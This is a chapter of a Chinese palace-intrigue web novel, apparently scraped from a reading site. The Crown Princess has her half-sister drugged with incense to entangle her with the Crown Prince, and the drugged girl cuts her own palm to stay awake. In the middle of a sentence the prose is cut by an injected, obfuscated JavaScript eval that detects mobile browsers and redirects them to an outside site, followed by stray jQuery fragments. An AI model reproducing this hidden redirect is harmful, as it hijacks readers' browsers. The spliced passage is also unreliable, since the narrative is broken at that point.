默认冷灰
24号文字
方正启体

6. 太子(6)

作者:灼灼其棠本书字数:K更新时间:
    裴景昱的步辇停在太子妃的月华居前,檐下的灯笼正被夜风吹得摇晃。


    守院门的嬷嬷见太子深夜驾临,刚要通传,就被他一个眼神钉在原地。


    “不必。”玄色锦靴踏过青石地板,“孤自己进去。”


    踏进太子妃寝院,扑面而来一股熏香味,他眉间的折痕又深了几分,廊下宫灯将他的影子拉得很长。


    “娘娘,殿下来了!”守内门的小宫女慌慌张张地跪伏在地。


    他抬手制止要行礼的众人,径直掀开珠帘。


    赵婉宜正倚在软榻上看账册,听到脚步声抬头,眼中闪过一丝诧异,随即恢复端庄笑意。


    “殿下怎么这个时辰过来了?”她放下账册,起身相迎,染着蔻丹的手指不着痕迹地抚平衣袖上的褶皱。


    这个时辰……太子不是应该在西暖阁吗?


    难道嘉宁那丫头……


    裴景昱负手而立,目光在她脸上逡巡:“怎么,孤来不得?太子妃见到孤似乎很意外?”


    赵婉宜攥紧袖口,当然意外!


    她明明安排得万无一失,熏香加了双倍的量,孙嬷嬷也确认嘉宁昏迷不醒……太子此刻该在颠鸾倒凤才对。


    莫非出了什么差错?


    “臣妾不是这个意思。”她浅笑,亲自为他斟茶,“殿下今日宴饮归来,怎么不去西暖阁歇息?臣妾在那为殿下备了醒酒汤……”


    “孤也想问,”裴景昱不紧不慢地撩开袍子坐下,“太子妃为何不在西暖阁等着?”


    “不是你请孤去西暖阁的么?”


    “臣妾……臣妾身子不适……”她的手几不可察地一顿。茶水在杯中荡起细微涟漪,又很快归于平静。


    孙嬷嬷连忙上前:“回殿下,娘娘今日头疼病又犯了……”


    “是么?”裴景昱截住她递茶的手,茶盏在两人之间微微晃动,“孤还以为,太子妃是算准了孤今夜必定留宿西暖阁。”


    滚烫的茶水溅在手背上,赵婉宜却感觉不到疼。


    “是臣妾多嘴了。”她低头掩饰眼中的慌乱。


    裴景昱看着她颤抖的睫毛,想起西暖阁里那个同样发抖却倔强仰着头的身影。


    真是有趣,姐妹俩连害怕的样子都不同。


    殿内熏香袅袅,他将茶盏重重搁在案上。


    瓷器相撞的脆响让赵婉宜心头一紧,面上却不显。


    “这香不错。”他状似随意道,“与西暖阁的如出一辙。”


    赵婉宜呼吸微滞,很快又恢复如常,展颜一笑:“殿下说笑了。这香是臣妾问太医拿的安神香。”


    “哦?”裴景昱起身,玄色衣袍扫过案几,“那想必是孤闻错了。”


    他居高临下地看着她,“太子妃可知,孤最厌恶什么?”


    赵婉宜抬眸,撞进他冰冷的视线里。


    她稳了稳心神,眉眼温婉如常:“臣妾愚钝,还请殿下明示。”


    “孤最厌恶被人算计。”他俯身,手指挑起她下巴,“尤其是用些下作手段的算计。”


    这个角度她能清晰看见太子眼中的寒意,就像那年她处置那个爬床宫女时,他看她的眼神。


    赵婉宜的指尖在袖中微微发抖,面上却浮起恰到好处的困惑:“臣妾不明白……”


    “不明白?”裴景昱声音不疾不徐,却让殿内温度骤降,“那三更半夜的,永宁侯府的三姑娘怎么会在孤的西暖阁?莫非是鬼魅不成?”


    她早该想到的,既然太子能来这儿,定是没碰那丫头。


    “臣妾当真不知……”她心头剧震,面上依旧端庄,去扶太子的手臂,却被一把攥住手腕。


    “那巧了。”裴景昱在她耳边轻语,“方才三姑娘也说不知情。”


    他满意地看着妻子瞬间惨白的脸色,“你们姐妹,倒是默契。”


    殿外传来更鼓声,赵婉宜挣脱开来,跪倒在地:“定是那丫头自己起了歪心!臣妾这就派人……”


    裴景昱冷眼看着这个素来端庄的太子妃匍匐在地,鬓边一缕散发垂落肩头,晃得凌乱。


    多可笑,往日最重仪态的人,此刻抖得像风中落叶。


    他看着太子妃规规矩矩的脸,心头浮起无比厌烦。


    这些年她永远这般,明明做了最下作的事,偏要摆出最得体的姿态。


    “孤最后说一次。”他玄色衣摆扫过她裙角,声音轻得像在讨论明日天气,“别把永宁侯府那些腌臜手段带进东宫。”


    赵婉宜感到一阵寒意从脊背窜上来。


    她强自镇定:“殿下教诲,臣妾谨记。”


    裴景昱盯着她看了许久:“时候不早,太子妃歇着吧。”


    他转身离开,在门前顿了顿,“太子妃既然身子不适,明日开始,就在寝殿静养,不必出门了。《金刚经》抄满百遍,或许能静心。”


    赵婉宜脸色一白。


    这是要禁她的足!


    她强撑着端庄仪态福身:“臣妾……遵命。”


    太子身影消失在夜色中,殿门刚合上,赵婉宜便猛地将桌上的茶盏扫落在地。


    “蠢货!他根本就没碰那个贱人!到底怎么回事!”


    “娘娘息怒!”孙嬷嬷急忙扶住她,吓得不轻,“老奴亲眼看着三姑娘昏迷不醒的,殿下也进去了,怎么会……”


    赵婉宜指尖掐进掌心,声音发冷:“那为何太子会突然来本宫这儿?还问本宫为何不在西暖阁?”


    孙嬷嬷额头渗出冷汗:“这……老奴也不知……”


    赵婉宜眼神阴郁:“嘉宁那丫头做了什么?她敢反抗?”


    孙嬷嬷摇头:“不可能,那熏香里掺了东西,她应当浑身无力才对,哪来的力气反抗?”


    “那太子为何没碰她?”赵婉宜声音尖锐,“他应该知道本宫的意思!”


    孙嬷嬷犹豫了一下,低声道:“娘娘,会不会是……是殿下自己不想碰……”


    赵婉宜沉默半晌,才从牙缝里挤出话来:“那香……太子竟能忍得住?”


    孙嬷嬷不敢接话。


    赵婉宜深吸一口气:“去查,西暖阁那边,到底出了什么岔子。”


    孙嬷嬷连忙应下:“是,老奴这就去安排。”


    殿内烛火摇曳,映得她脸色阴晴不定。


    “娘娘别急。”孙嬷嬷低声道,“横竖人已经在东宫了,来日方长。”


    赵婉宜盯着跳动的烛火,忽然冷笑:“你说得对。既然这步棋走不通……”


    她指尖轻叩案几,“那就换一招。”


    在这深宫里,最不缺的就是算计人的法子。


    她抬眸看向西暖阁的方向,眸中闪过一丝狠厉:“明日去请三姑娘过来。本宫倒要看看,这丫头哪来的胆子坏我好事。”


    孙嬷嬷欲言又止:“可殿下刚下了禁足令……”


    “怕什么?”赵婉宜抚了抚鬓角,“本宫身子不适,请自家妹妹来说说话,难道还不行?”


    ……


    而此时的步辇上,裴景昱眸色阴沉如墨。


    太子妃的反应已经说明一切,今晚的算计,她果然是主谋。


    这场戏,越来越有意思了。


    清心汤的药效似乎还没上来,夜风吹散酒气,却吹不散他心头那股燥热。


    手背的伤口又开始隐隐作痛。


    他想起西暖阁里那双含恨的眼睛。


    那个倔强的丫头,此刻怕是正受着药性煎熬吧?


    这个念头刚起就被他掐灭。


    不过是个庶女,也配让他费心?


    ……


    嘉宁蜷缩在床榻上,浑身烫得厉害,她口干舌燥,太阳穴突突直跳。


    那股莫名的燥热从骨髓里渗出来,像千万只蚂蚁在血管里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811570|175262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爬。


    她扯开衣领,仍觉得有团火在体内乱窜,缓解不了半分。


    殿内静得可怕,更漏声格外清晰。


    她不敢合眼。


    一闭眼就是原主被折磨的记忆,还有太子那双深不见底的眼睛。


    “怎么会这么热……”


    嘉宁咬着唇翻了个身,锦被被她踢到地上。


    可那股燥热像是从体内烧起来的,连呼吸都带着滚烫。


    她看到地上的香炉,忽然明白过来。


    是了……这香有问题。


    原主的记忆里,嫡姐最爱用这些下作手段。


    原以为太子离开就能解脱,没想到这才是煎熬的开始。


    窗外传来侍卫换岗的脚步声。


    嘉宁绷紧身子,直到脚步声远去才稍稍放松。


    她不敢睡,也不能睡。


    谁知道太子会不会去而复返?


    谁知道这东宫里还藏着多少算计?……


    额头渗出细密的汗珠,顺着脸颊滑落。


    她抬手去擦,却发现指尖抖得厉害。


    这具身体对太子的恐惧已经刻进骨子里,光是想到他可能回来,就让她胃部绞痛。


    “得想办法……”她喃喃自语,声音沙哑得不似自己。


    她翻身下床,赤足踩在冰凉的地砖上。


    寒意从脚底窜上来,却压不住体内那股邪火。


    窗外更漏声一声接一声,慢得令人心焦。


    要是在现代,这时候该有空调有风扇,有冰镇可乐和各种奶茶冷饮……而不是被困在这座金丝笼里,连口凉水都讨不到。


    那些曾经触手可及的东西,现在想来竟像上辈子的事,遥远不可及。


    要是在现代……要是在现代……


    一滴泪砸在手背上。


    她想家了,想那个有空调有WiFi的世界,想那个没人敢随便给她下药的法治社会。


    至少在那里,她还能报警。


    “好想回家啊……”


    嘉宁滑坐在地,额头抵着冰凉的柱子。


    窗外传来打更声。


    三更天了。


    嘉宁强迫自己数数,生怕睡过去。


    她不敢想象,若是睡着后有人进来……


    指尖掐进掌心,疼痛让她保持清醒。


    可身体越来越热,连呼吸都变得困难。


    她摸索着爬到案几前,将整壶冷茶浇在脸上。


    茶水顺着下巴滴落,打湿了前襟。


    没用。


    还是热。


    “坚持……到天亮就好……”她对自己说,声音哑得不像话。


    嘉宁强迫自己连续数数,中断数错了就重来。


    一百、两百……数到第二个五百时,眼前开始发花。


    她摇摇晃晃地爬起来,踉跄着捡起碎瓷片,颤抖着伸手,锋利的边缘划过掌心,鲜血涌出的瞬间,混沌的头脑终于清醒几分。


    不能睡。


    绝对不能睡。


    案几上的茶壶已经空了。


    “不……”她死死掐着手臂,“至少……不能像原主那样……”


    嘴唇被咬得血迹斑斑,可那股燥热仍如附骨之疽。


    她索性蜷在窗边,任由夜风吹透单薄的寝衣。


    直到东方泛起鱼肚白,那阵燥热才渐渐消退。


    晨光透过窗纱时,嘉宁已经精疲力尽,她像条脱水的鱼般瘫软下来。


    被汗水浸透的寝衣黏在身上,掌心的伤口火辣辣地疼。


    这一夜,比想象中更难熬。


    但至少,她熬过来了。


    “不一样了……”嘉宁望着自己伤痕累累的手掌,指甲缝里全是血,声音嘶哑得不像话。


    这一次,她没有任人宰割。


    这一次,终究和原主的记忆不一样了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)